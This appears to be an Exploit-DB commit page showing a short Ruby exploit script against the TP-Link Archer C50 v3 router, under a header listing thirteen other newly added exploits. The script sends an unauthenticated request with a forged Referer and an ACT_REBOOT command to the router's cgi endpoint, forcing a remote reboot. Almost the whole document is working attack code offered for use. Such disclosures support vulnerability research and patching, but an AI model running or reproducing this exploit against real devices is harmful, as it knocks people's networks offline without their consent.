1d21694058
13 changes to exploits/shellcodes reSIProcate 1.10.2 - Heap Overflow CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) AgataSoft Auto PingMaster 1.5 - Buffer Overflow (SEH) Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read Mikrotik WinBox 6.42 - Credential Disclosure (Metasploit) Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page) Responsive Filemanager 9.13.1 - Server-Side Request Forgery Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection Sitecore.Net 8.1 - Directory Traversal Monstra 3.0.4 - Cross-Site Scripting TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Remote Reboot) TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure)
43 lines
No EOL
1.2 KiB
Ruby
Executable file
43 lines
No EOL
1.2 KiB
Ruby
Executable file
# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Remote Reboot)
|
|
# Date: 2018-08-09
|
|
# Exploit Author: Wadeek
|
|
# Vendor Homepage: https://www.tp-link.com/
|
|
# Hardware Version: Archer C50 v3 00000001
|
|
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
|
|
# Firmware Version: <= Build 171227
|
|
|
|
|
|
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
url = "http://192.168.0.1:80/"
|
|
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
require('mechanize')
|
|
agent = Mechanize.new()
|
|
|
|
def reboot(agent, url, path, query)
|
|
begin
|
|
response = agent.post(url+path, query, {
|
|
"User-Agent" => "",
|
|
"Accept" => "*/*",
|
|
"Referer" => "http://192.168.0.1/mainFrame.htm",
|
|
"Content-Type" => "text/plain",
|
|
"Connection" => "keep-alive",
|
|
"Cookie" => ""
|
|
})
|
|
rescue Exception => e
|
|
begin
|
|
puts(e.inspect())
|
|
puts(e.page().body())
|
|
rescue
|
|
end
|
|
puts("")
|
|
else
|
|
puts(path)
|
|
puts(response.body())
|
|
puts("")
|
|
end
|
|
end
|
|
|
|
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
reboot(agent, url, "cgi?7", "[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n")
|
|
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! |